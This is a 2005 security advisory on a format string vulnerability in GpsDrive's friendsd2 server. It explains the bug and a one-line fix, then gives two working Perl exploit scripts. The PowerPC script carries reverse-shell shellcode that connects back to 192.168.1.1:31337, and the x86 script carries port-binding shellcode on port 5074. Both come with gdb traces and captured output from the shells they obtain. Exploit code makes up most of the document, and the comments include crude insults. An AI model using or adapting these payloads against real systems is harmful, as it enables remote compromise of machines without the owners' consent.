<<< Date Index >>>     <<< Thread Index >>>

DMA[2005-1104a] - 'GpsDrive friendsd2 format string vulnerability'




DMA[2005-1104a] - 'GpsDrive friendsd2 format string vulnerability'
Author: Kevin Finisterre
Vendor: http://www.gpsdrive.cc/
Product: 'GpsDrive'
References: http://www.digitalmunition.com/DMA[2005-1104a].txt

Description: 
GpsDrive is a car (bike, ship, plane) navigation system. It can display 
positioning information 
provided from a NMEA capable GPS receiver on a zoomable map. Map file 
autoselecting is done based 
on the current position and the prefered map scale. All Garmin GPS reveivers 
with a serial output 
should be usable, as well as other GPS receivers that support NMEA protocol. 
GpsDrive was written 
in C with use of the GTK+ graphic toolkit and it runs on Linux and FreeBSD. 
With minimal work it 
is also posisble to run GpsDrive on Windows and on OSX. 

GpsDrive comes with a server program called friendsd which acts as server for 
the position of your
friends. You see the position of your friends as a car symbol on the map, 
including the name, time, 
day of week and the speed of his last connection. A blue arrow shows the last 
reported direction of 
your friend. Fritz Ganter has blatantly stated in the man page that "The 
(friendsd) server was NOT 
tested for security". 

Please not that friendsd no longer runs as root since the last round of 
security patches. 
kfinisterre:/home/kfinisterre# friendsd2
server: please don't run me as root

The friendsd server does contain an obvious format string issue complements of 
a bad fprintf() call. 
./src/friendsd.c:367:     fprintf (stderr, txt);

Exploitation of this bug is fairly trivial, on powerpc I chose to overwrite a 
saved return address
as shown below.  

First I just crashed the program and went to frame 2
0x0f67d1e0 in vfprintf () from /lib/tls/libc.so.6
(gdb) bt
#0  0x0f67d1e0 in vfprintf () from /lib/tls/libc.so.6
#1  0x0f67cc74 in vfprintf () from /lib/tls/libc.so.6
#2  0x0f6825d0 in fprintf () from /lib/tls/libc.so.6
#3  0x100024b8 in dg_echo ()
#4  0x10002f28 in main ()

Next I grab the address of Arglist for frame 2 and overwrite that +4
(gdb) i f
Stack level 2, frame at 0x7fffad70:
pc = 0xf6825d0 in fprintf; saved pc 0x100024b8
called by frame at 0x7fffae00, caller of frame at 0x7fff8700
Arglist at 0x7fffad70, args:
Locals at 0x7fffad70, Previous frame's sp in r1

(gdb) x/a 0x7fffad70+4
0x7fffad74:     0xf6825d0 <fprintf+112>  (overwrite this)

animosity:/home/kfinisterre$ nc -l -p 31337 -vvv
listening on [any] 31337 ...

animosity:/home/kfinisterre$ ./gpsdrive-ex-long-ppc.pl
$VAR1 = {};

192.168.1.1: inverse host lookup failed: Unknown host
connect to [192.168.1.1] from (UNKNOWN) [192.168.1.1] 3349
id;
uid=1000(kfinisterre) gid=1000(kfinisterre)
groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(kfinisterre)

Workaround: 
Stop using friendsd2! or simply change the above mentioned fprintf() call to 
the following. 
fprintf (stderr,"%s",txt);

Timeline associated with this bug:
I emailed Fritz Ganter (ganter@xxxxxxxxx) at least twice about this and got no 
response. 

-KF
#!/usr/bin/perl -w
# 
# Heh - Code by KF (kf_lists[at]digital_munition[dot]com)
#     - Shellcode by Charles Stevenson
# http://www.digitalmunition.com
#
# FrSIRT 24/24 & 7/7 - Centre de Recherche on Donkey Testicles. 
# Free 14 day Testicle licking trial available! 
#
#                           IIIIIIIIII
#                           I::::::::I
#                           I::::::::I
#                           II::::::II
#                             I::::I
#                             I::::I ##     ##  #######  ########  ##    ##
#                             I::::I ##     ## ##     ## ##     ##   ####
# EEEEEEEEEEEEEEEEEEEEEE      I::::I ##     ## ##     ## ########     ##
# E::::::::::::::::::::E      I::::I  ##   ##  ##     ## ##   ##      ##
# E::::::::::::::::::::E      I::::I   ## ##   ##     ## ##    ##     ##
# EE::::::EEEEEEEEE::::E      I::::I    ###     #######  ##     ##    ##
#   E:::::E       EEEEEE      I::::I
#   E:::::E                 II::::::II
#   E::::::EEEEEEEEEE       I::::::::I
#   E:::::::::::::::E  and  I::::::::I
#   E:::::::::::::::E       IIIIIIIIII
#   E::::::EEEEEEEEEE    ########   #######  ##    ## ##    ##
#   E:::::E              ##     ## ##     ## ###   ##  ##  ##
#   E:::::E       EEEEEE ##     ## ##     ## ####  ##   ####
# EE::::::EEEEEEEE:::::E ########  ##     ## ## ## ##    ##
# E::::::::::::::::::::E ##     ## ##     ## ##  ####    ##
# E::::::::::::::::::::E ##     ## ##     ## ##   ###    ##
# EEEEEEEEEEEEEEEEEEEEEE ########   #######  ##    ##    ##
# (Kickin you all up in your grill piece since the early 90's)
#                                                      
# friendsd.c:367:   fprintf (stderr, txt);
#
# Tested against: gpsdrive_2.09-2_powerpc.deb
#
# Crash the program and go to frame 2
# 0x0f67d1e0 in vfprintf () from /lib/tls/libc.so.6
# (gdb) bt
# #0  0x0f67d1e0 in vfprintf () from /lib/tls/libc.so.6
# #1  0x0f67cc74 in vfprintf () from /lib/tls/libc.so.6
# #2  0x0f6825d0 in fprintf () from /lib/tls/libc.so.6
# #3  0x100024b8 in dg_echo ()
# #4  0x10002f28 in main ()
#
# Grab the address of Arglist for frame 2 and overwrite that +4
# (gdb) i f
# Stack level 2, frame at 0x7fffad70:
# pc = 0xf6825d0 in fprintf; saved pc 0x100024b8
# called by frame at 0x7fffae00, caller of frame at 0x7fff8700
# Arglist at 0x7fffad70, args:
# Locals at 0x7fffad70, Previous frame's sp in r1
#
# (gdb) x/a 0x7fffad70+4
# 0x7fffad74:     0xf6825d0 <fprintf+112>  (overwrite this)
#
# animosity:/home/kfinisterre# nc -l -p 31337 -vvv
# listening on [any] 31337 ...
# 192.168.1.1: inverse host lookup failed: Unknown host
# connect to [192.168.1.1] from (UNKNOWN) [192.168.1.1] 3349
# id;
# uid=1000(kfinisterre) gid=1000(kfinisterre) 
# 
groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(kfinisterre)
# uname -a;
# Linux animosity 2.6.11-powerpc #1 Fri May 13 15:47:19 CEST 2005 ppc GNU/Linux
#
# This is NOT reliable or robust... Find your own damn pointers to overwrite

use Net::Friends;
use Data::Dumper;

$shellcode  =
"\x69\x69\x69\x69"  .  
# /* connect-core5.c by Charles Stevenson <core@xxxxxxxxxx> */
"\x7c\x3f\x0b\x78" . #/*mr    r31,r1*/
"\x3b\x40\x01\x0e" . #/*li    r26,270*/
"\x3b\x5a\xfe\xf4" . #/*addi  r26,r26,-268*/
"\x7f\x43\xd3\x78" . #/*mr    r3,r26*/
"\x3b\x60\x01\x0d" . #/*li    r27,269*/
"\x3b\x7b\xfe\xf4" . #/*addi  r27,r27,-268*/
"\x7f\x64\xdb\x78" . #/*mr    r4,r27*/
"\x7c\xa5\x2a\x78" . #/*xor   r5,r5,r5*/
"\x7c\x3c\x0b\x78" . #/*mr    r28,r1*/
"\x3b\x9c\x01\x0c" . #/*addi  r28,r28,268*/
"\x90\x7c\xff\x08" . #/*stw   r3,-248(r28)*/
"\x90\x9c\xff\x0c" . #/*stw   r4,-244(r28)*/
"\x90\xbc\xff\x10" . #/*stw   r5,-240(r28)*/
"\x7f\x63\xdb\x78" . #/*mr    r3,r27*/
"\x3b\xdf\x01\x0c" . #/*addi  r30,r31,268*/
"\x38\x9e\xff\x08" . #/*addi  r4,r30,-248*/
"\x3b\x20\x01\x98" . #/*li    r25,408*/
"\x7f\x20\x16\x70" . #/*srawi r0,r25,2*/
"\x44\xde\xad\xf2" . #/*.long0x44deadf2*/
"\x7c\x78\x1b\x78" . #/*mr    r24,r3*/
"\xb3\x5e\xff\x16" . #/*sth   r26,-234(r30)*/
"\x7f\xbd\xea\x78" . #/*xor   r29,r29,r29*/
#// Craft your exploit to poke these value in. Right now it's set
#// for port 31337 and ip 192.168.1.1. Here's an example
#// core@morpheus:~$ printf "0x%02x%02x\n0x%02x%02x\n" 192 168 1 1
#// 0xc0a8
#// 0x0101
"\x63\xbd" .  # /* PORT # */ 
"\x7a\x69" .  #/*ori   r29,r29,31337*/
"\xb3\xbe\xff\x18" . #/*sth   r29,-232(r30)*/
"\x3f\xa0" . # /*IP(A.B) */ 
#"\x42\x07" . # wtf is this?
"\xc0\xa8" . # /*lis   r29,-16216*/
"\x63\xbd" . # /*IP(C.D) */ 
#"\xa1\x39" . #  wtf is this? 
"\x01\x01" . # /*ori   r29,r29,257*/
"\x93\xbe\xff\x1a" . #/*stw   r29,-230(r30)*/
"\x93\x1c\xff\x08" . #/*stw   r24,-248(r28)*/
"\x3a\xde\xff\x16" . #/*addi  r22,r30,-234*/
"\x92\xdc\xff\x0c" . #/*stw   r22,-244(r28)*/
"\x3b\xa0\x01\x1c" . #/*li    r29,284*/
"\x38\xbd\xfe\xf4" . #/*addi  r5,r29,-268*/
"\x90\xbc\xff\x10" . #/*stw   r5,-240(r28)*/
"\x7f\x20\x16\x70" . #/*srawi r0,r25,2*/
"\x7c\x7a\xda\x14" . #/*add   r3,r26,r27*/
"\x38\x9c\xff\x08" . #/*addi  r4,r28,-248*/
"\x44\xde\xad\xf2" . #/*.long0x44deadf2*/
"\x7f\x03\xc3\x78" . #/*mr    r3,r24*/
"\x7c\x84\x22\x78" . #/*xor   r4,r4,r4*/
"\x3a\xe0\x01\xf8" . #/*li    r23,504*/
"\x7e\xe0\x1e\x70" . #/*srawi r0,r23,3*/
"\x44\xde\xad\xf2" . #/*.long0x44deadf2*/
"\x7f\x03\xc3\x78" . #/*mr    r3,r24*/
"\x7f\x64\xdb\x78" . #/*mr    r4,r27*/
"\x7e\xe0\x1e\x70" . #/*srawi r0,r23,3*/
"\x44\xde\xad\xf2" . #/*.long0x44deadf2*/
#// comment out the next 4 lines to save 16 bytes and lose stderr
#//"\x7f\x03\xc3\x78"    /*mr    r3,r24*/
#//"\x7f\x44\xd3\x78"    /*mr    r4,r26*/
#//"\x7e\xe0\x1e\x70"    /*srawi r0,r23,3*/
#//"\x44\xde\xad\xf2"    /*.long0x44deadf2*/
"\x7c\xa5\x2a\x79" . #/*xor.  r5,r5,r5*/
"\x42\x40\xff\x35" . #/*bdzl+ 10000454<main>*/
"\x7f\x08\x02\xa6" . #/*mflr  r24*/
"\x3b\x18\x01\x34" . #/*addi  r24,r24,308*/
"\x98\xb8\xfe\xfb" . #/*stb   r5,-261(r24)*/    /* KF / Core / Ghandi mojo */
"\x38\x78\xfe\xf4" . #/*addi  r3,r24,-268*/
"\x90\x61\xff\xf8" . #/*stw   r3,-8(r1)*/
"\x38\x81\xff\xf8" . #/*addi  r4,r1,-8*/
"\x90\xa1\xff\xfc" . #/*stw   r5,-4(r1)*/
"\x3b\xc0\x01\x60" . #/*li    r30,352*/
"\x7f\xc0\x2e\x70" . #/*srawi r0,r30,5*/
"\x44\xde\xad\xf2" . #/*.long0x44deadf2*/
"/bin/shZ";     # /* Z will become NULL */

$name = 'aaaaaaaa-aaaa';  
 
$writeaddr = 0x7fffad74; # Saved ret in frame 2 Arglist+4 (inside gdb)
$writeaddr = 0x7fffad94; # (outside gdb) Pladow! Kickin fools all up in the 
grill piece. 

$addy  = pack('l', $writeaddr);
$addy2 = pack('l', $writeaddr+2);

#$instr = 0x7fffae84;  # Shellcode (inside gdb)
$instr = 0x7fffaea4;  # Shellcode (outside gdb)

$lo = ($instr >> 0) & 0xffff;
$hi = ($instr >> 16) & 0xffff;
                
$hi = $hi - 0x4e;
$lo = (0x10000 + $lo) - $hi - 0x50;             

#$hi = 1; $lo =1;

$dir = "$addy$addy2|%." . $hi . "d|%28\$hn|%." . $lo . "d|%29\$hn$shellcode";

$friends = Net::Friends->new(shift || 'localhost');
$friends->report(name => $name, lat => '1111', lon => '2222', speed => '3333', 
dir => $dir);
print Dumper($friends->query);


# P.S. Fsck drow! And did I mention k-otick blows! Gimme some freedom fries you 
bastards! 
#!/usr/bin/perl -w
# 
# Code by KF, although it is most likely ripped from John H. 
#  (kf_lists[at]digital_munition[dot]com)
#
# http://www.digitalmunition.com
#
# FrSIRT 24/24 & 7/7 - Centre de Recherche on Donkey Testicles.
# Free 14 day Testicle licking trial available!
#
# friendsd.c:367:   fprintf (stderr, txt);
#
# Tested on intel using gpsdrive_2.09-2_i386.deb
# 
# kfinisterre@animosity:~$ telnet localhost 5074
# Trying 127.0.0.1...
# Connected to animosity
# Escape character is '^]'.
# id;
# uid=1000(kfinisterre) gid=1000(kfinisterre) groups=1000(kfinisterre)
# : command not found
#
# s0t4ipv6@xxxxxxxxxxxxxxxx
# x86 portbind a shell in port 5074
# 92 bytes.
# 
# This shit is NOT robust and most likely will NOT work on kernel 2.6.12 
# because of the random address space. Find your own damn pointers to overwrite
#
$shellcode  = "\x90" x 2 . 
"\x31\xc0" .                    # xorl          %eax,%eax
"\x50" .                        # pushl %eax
"\x40" .                        # incl          %eax
"\x89\xc3" .                    # movl          %eax,%ebx
"\x50" .                        # pushl %eax
"\x40" .                        # incl          %eax
"\x50" .                        # pushl %eax
"\x89\xe1" .                    # movl          %esp,%ecx
"\xb0\x66" .                    # movb          $0x66,%al
"\xcd\x80" .                    # int           $0x80
"\x31\xd2" .                    # xorl          %edx,%edx
"\x52" .                        # pushl %edx
"\x66\x68\x13\xd2" .            # pushw $0xd213
"\x43" .                        # incl          %ebx
"\x66\x53" .                    # pushw %bx
"\x89\xe1" .                    # movl          %esp,%ecx
"\x6a\x10" .                    # pushl $0x10
"\x51" .                        # pushl %ecx
"\x50" .                        # pushl %eax
"\x89\xe1" .                    # movl          %esp,%ecx
"\xb0\x66" .                    # movb          $0x66,%al
"\xcd\x80" .                    # int           $0x80
"\x40" .                        # incl          %eax
"\x89\x44\x24\x04" .            # movl          %eax,0x4(%esp,1)
"\x43" .                        # incl          %ebx
"\x43" .                        # incl          %ebx
"\xb0\x66" .                    # movb          $0x66,%al
"\xcd\x80" .                    # int           $0x80
"\x83\xc4\x0c" .                # addl          $0xc,%esp
"\x52" .                        # pushl %edx
"\x52" .                        # pushl %edx
"\x43" .                        # incl          %ebx
"\xb0\x66" .                    # movb          $0x66,%al
"\xcd\x80" .                    # int           $0x80
"\x93" .                        # xchgl %eax,%ebx
"\x89\xd1" .                    # movl          %edx,%ecx
"\xb0\x3f" .                    # movb          $0x3f,%al
"\xcd\x80" .                    # int           $0x80
"\x41" .                        # incl          %ecx
"\x80\xf9\x03" .                # cmpb          $0x3,%cl
"\x75\xf6" .                    # jnz           <shellcode+0x40>
"\x52" .                        # pushl %edx
"\x68\x6e\x2f\x73\x68" .        # pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" .        # pushl $0x69622f2f
"\x89\xe3" .                    # movl          %esp,%ebx
"\x52" .                        # pushl %edx
"\x53" .                        # pushl %ebx
"\x89\xe1" .                    # movl          %esp,%ecx
"\xb0\x0b" .                    # movb          $0xb,%al
"\xcd\x80";                     # int           $0x80

use Net::Friends;
use Data::Dumper;

$name = 'GPSDRIVE-aaaa';

# 0804bb84 R_386_JUMP_SLOT   recvfrom
$addy  = "\x86\xbb\x04\x08";  # This is the write address. 
$addy2 = "\x84\xbb\x04\x08"; 

#$retaddr = 0xbfffba7c;  # Retaddr when using gdb 
$retaddr = 0xbfffba8a;  # Retaddr when NOT using gdb. Its that same kick you in 
the face styleee from the ppc sploit. 

$lo = ($retaddr >> 0) & 0xffff;
$hi = ($retaddr >> 16) & 0xffff;
                
$hi = $hi - 0x4c;
$lo = (0x10000 + $lo) - $hi - 0x4c;             

$hi =1; $lo =1;

$dir = "$addy$addy2%." . $hi . "d%379\$x%." . $lo . "d%380\$x$shellcode";

$friends = Net::Friends->new(shift || 'localhost');
$friends->report(name => $name, lat => '1111', lon => '2222', speed => '3333', 
dir => $dir);

print Dumper($friends->query);

# P.S. - I fart in the general direction of Fr-Sirt.